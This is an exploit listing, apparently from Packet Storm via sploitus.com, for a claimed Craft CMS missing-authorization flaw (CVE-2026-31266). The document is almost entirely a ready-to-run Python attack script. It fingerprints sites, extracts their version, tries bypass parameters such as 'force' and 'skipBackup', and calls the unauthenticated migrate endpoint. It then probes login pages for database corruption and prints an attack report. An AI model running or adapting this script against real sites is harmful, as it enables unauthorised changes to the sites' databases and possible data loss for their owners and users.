Share
## https://sploitus.com/exploit?id=PACKETSTORM:223224
==================================================================================================================================
| # Title : Craft CMS โค 5.9.5 Missing Authorization Vulnerability โ Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://craftcms.com |
==================================================================================================================================
[+] Summary : This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions
of Craft CMS that may permit unauthorized access to privileged migration functionality.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import time
import json
import re
from urllib.parse import urljoin, urlparse
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Craft CMS Missing Authorization Exploit (CVE-2026-31266) โ
โ Affected: Craft CMS <= 5.9.5 โ
โ Type: Missing Authorization -> Authentication Bypass โ
โ Discovered by: indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
class CraftCMSExploit:
def __init__(self, target_url, verbose=False, timeout=10):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded"
})
self.base_action_url = f"{self.target_url}/actions/app/migrate"
def log(self, msg, level="INFO"):
"""Print formatted messages"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"DATA": "\033[96m[>]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")
def check_craft_cms(self):
"""Check if target is running Craft CMS"""
self.log("Checking if target is Craft CMS...")
checks = [
"/admin/login",
"/index.php?p=admin/login",
"/actions/users/login",
"/cp",
"/admin/actions/users/login"
]
for check in checks:
try:
url = f"{self.target_url}{check}"
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
if "craft" in response.text.lower() or "cms" in response.text.lower():
self.log(f"Craft CMS detected at: {url}", "SUCCESS")
return True
except:
continue
self.log("Could not confirm Craft CMS", "WARNING")
return False
def test_migrate_endpoint(self):
"""Test if the migrate endpoint is accessible anonymously"""
self.log("Testing migrate endpoint accessibility...")
try:
response = self.session.post(
self.base_action_url,
data={},
timeout=self.timeout
)
if self.verbose:
self.log(f"Response Status: {response.status_code}", "DATA")
self.log(f"Response Headers: {dict(response.headers)}", "DATA")
if response.status_code == 200:
self.log("Migrate endpoint is accessible! (200 OK)", "SUCCESS")
return True
elif response.status_code == 403:
self.log("Migrate endpoint is protected (403 Forbidden)", "INFO")
return False
elif response.status_code == 404:
self.log("Migrate endpoint not found (404)", "INFO")
return False
else:
self.log(f"Unexpected response: {response.status_code}", "WARNING")
return response.status_code == 200
except requests.exceptions.RequestException as e:
self.log(f"Error testing endpoint: {e}", "ERROR")
return False
def execute_migration(self, migration_params=None):
"""
Execute migration via the vulnerable endpoint
Args:
migration_params: Optional parameters for migration
"""
self.log("Attempting to execute migration...")
data = migration_params or {}
try:
response = self.session.post(
self.base_action_url,
data=data,
timeout=self.timeout
)
if self.verbose:
self.log(f"Request URL: {self.base_action_url}", "DATA")
self.log(f"Request Data: {data}", "DATA")
self.log(f"Response Status: {response.status_code}", "DATA")
return response
except requests.exceptions.RequestException as e:
self.log(f"Error executing migration: {e}", "ERROR")
return None
def check_database_tables(self, table_names=None):
"""
Check if database tables have been affected
This is a detection method based on the vulnerability impact
"""
if not table_names:
table_names = ['sessions', 'users', 'craft_session', 'craft_users']
self.log("Checking for database impact...")
for table in table_names:
test_endpoints = [
f"{self.target_url}/actions/users/login",
f"{self.target_url}/admin/actions/users/login",
f"{self.target_url}/index.php?p=admin/actions/users/login"
]
for endpoint in test_endpoints:
try:
response = self.session.post(endpoint, data={
"loginName": "test",
"password": "test"
}, timeout=self.timeout)
if response.status_code == 500 or "database" in response.text.lower():
if "sessions" in response.text.lower() or "table" in response.text.lower():
self.log(f"Possible database corruption detected: {response.text[:200]}", "WARNING")
return True
except:
continue
return False
def extract_version_info(self):
"""Extract Craft CMS version information"""
self.log("Attempting to extract version information...")
version_patterns = [
r'Craft CMS (\d+\.\d+\.\d+)',
r'craft\.version\s*=\s*["\'](\d+\.\d+\.\d+)',
r'<meta name="generator" content="Craft CMS (\d+\.\d+\.\d+)"'
]
version_files = [
"/dist/js/craft.js",
"/resources/js/craft.js",
"/admin/dist/js/craft.js",
"/cp/resources/js/craft.js"
]
for file_path in version_files:
try:
url = f"{self.target_url}{file_path}"
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
for pattern in version_patterns:
match = re.search(pattern, response.text)
if match:
version = match.group(1)
self.log(f"Detected Craft CMS version: {version}", "SUCCESS")
return version
except:
continue
self.log("Could not determine exact version", "WARNING")
return None
def attempt_bypass_with_params(self, param_combinations=None):
"""Attempt to bypass with different parameter combinations"""
if not param_combinations:
param_combinations = [
{},
{"allowAdminChanges": "1"},
{"allowAdminChanges": "true"},
{"allowAnonymous": "1"},
{"force": "1"},
{"force": "true"},
{"skipBackup": "1"},
{"skipBackup": "true"},
{"allowAdminChanges": "1", "force": "1"},
{"allowAdminChanges": "1", "skipBackup": "1"},
]
self.log(f"Testing {len(param_combinations)} parameter combinations...")
vulnerable_combos = []
for i, params in enumerate(param_combinations, 1):
if self.verbose:
self.log(f"Testing combo {i}/{len(param_combinations)}: {params}")
response = self.execute_migration(params)
if response and response.status_code == 200:
self.log(f"Successful bypass with params: {params}", "SUCCESS")
vulnerable_combos.append(params)
elif response and response.status_code == 500 and self.verbose:
self.log(f"Error with params {params}: {response.text[:100]}")
time.sleep(0.5)
return vulnerable_combos
def generate_attack_report(self, success):
"""Generate attack report"""
report = {
"target": self.target_url,
"vulnerability": "CVE-2026-31266 - Missing Authorization",
"affected_versions": "Craft CMS <= 5.9.5",
"attack_successful": success,
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
"endpoint_tested": self.base_action_url
}
print("\n" + "=" * 60)
print("ATTACK REPORT")
print("=" * 60)
print(json.dumps(report, indent=2))
print("=" * 60)
return report
def full_attack(self):
"""Execute full attack chain"""
self.log("Starting full attack chain...")
is_craft = self.check_craft_cms()
if not is_craft:
self.log("Target may not be Craft CMS, continuing anyway...", "WARNING")
version = self.extract_version_info()
if version:
self.log(f"Target version: {version}")
if self.compare_versions(version, "5.9.5") > 0:
self.log("Target version appears to be patched", "WARNING")
is_vulnerable = self.test_migrate_endpoint()
if not is_vulnerable:
self.log("Initial test suggests endpoint is protected", "WARNING")
self.log("Attempting bypass techniques...")
vulnerable_combos = self.attempt_bypass_with_params()
is_vulnerable = len(vulnerable_combos) > 0
if is_vulnerable:
self.log("Vulnerability confirmed! Executing attack...", "SUCCESS")
response = self.execute_migration()
if response:
self.log("Attack executed successfully!", "SUCCESS")
if self.verbose:
print(f"\nResponse content:\n{response.text[:500]}")
self.check_database_tables()
self.generate_attack_report(True)
return True
else:
self.log("Target does not appear to be vulnerable", "ERROR")
self.generate_attack_report(False)
return False
@staticmethod
def compare_versions(version1, version2):
"""Compare two version strings"""
def normalize(v):
return [int(x) for x in v.split('.')]
v1 = normalize(version1)
v2 = normalize(version2)
for i in range(min(len(v1), len(v2))):
if v1[i] != v2[i]:
return v1[i] - v2[i]
return len(v1) - len(v2)
def check_vulnerability(target_url):
"""Quick vulnerability check"""
exploit = CraftCMSExploit(target_url, verbose=False)
return exploit.test_migrate_endpoint()
def exploit_single(target_url, verbose=False):
"""Single target exploitation"""
exploit = CraftCMSExploit(target_url, verbose)
return exploit.full_attack()
def main():
parser = argparse.ArgumentParser(description="Craft CMS Missing Authorization Exploit (CVE-2026-31266)")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8080)")
parser.add_argument("--check", action="store_true", help="Quick vulnerability check only")
parser.add_argument("--extract-version", action="store_true", help="Extract Craft CMS version")
parser.add_argument("--bypass", action="store_true", help="Attempt parameter bypass techniques")
parser.add_argument("--test-migrate", action="store_true", help="Test migrate endpoint only")
parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
args = parser.parse_args()
print(BANNER)
if args.check:
print("\n[*] Performing quick vulnerability check...")
is_vulnerable = check_vulnerability(args.url)
if is_vulnerable:
print(f"\n[+] {args.url} appears to be VULNERABLE to CVE-2026-31266")
else:
print(f"\n[-] {args.url} does not appear to be vulnerable")
return
exploit = CraftCMSExploit(args.url, args.verbose)
if args.extract_version:
exploit.extract_version_info()
return
if args.test_migrate:
result = exploit.test_migrate_endpoint()
if result:
print("\n[+] Migrate endpoint is accessible!")
print("[+] The target is likely vulnerable to CVE-2026-31266")
else:
print("\n[-] Migrate endpoint is not accessible")
return
if args.bypass:
print("\n[*] Attempting parameter bypass techniques...")
vulnerable_combos = exploit.attempt_bypass_with_params()
if vulnerable_combos:
print(f"\n[+] Found {len(vulnerable_combos)} working parameter combinations!")
for combo in vulnerable_combos:
print(f" - {combo}")
else:
print("\n[-] No bypass techniques worked")
return
exploit.full_attack()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================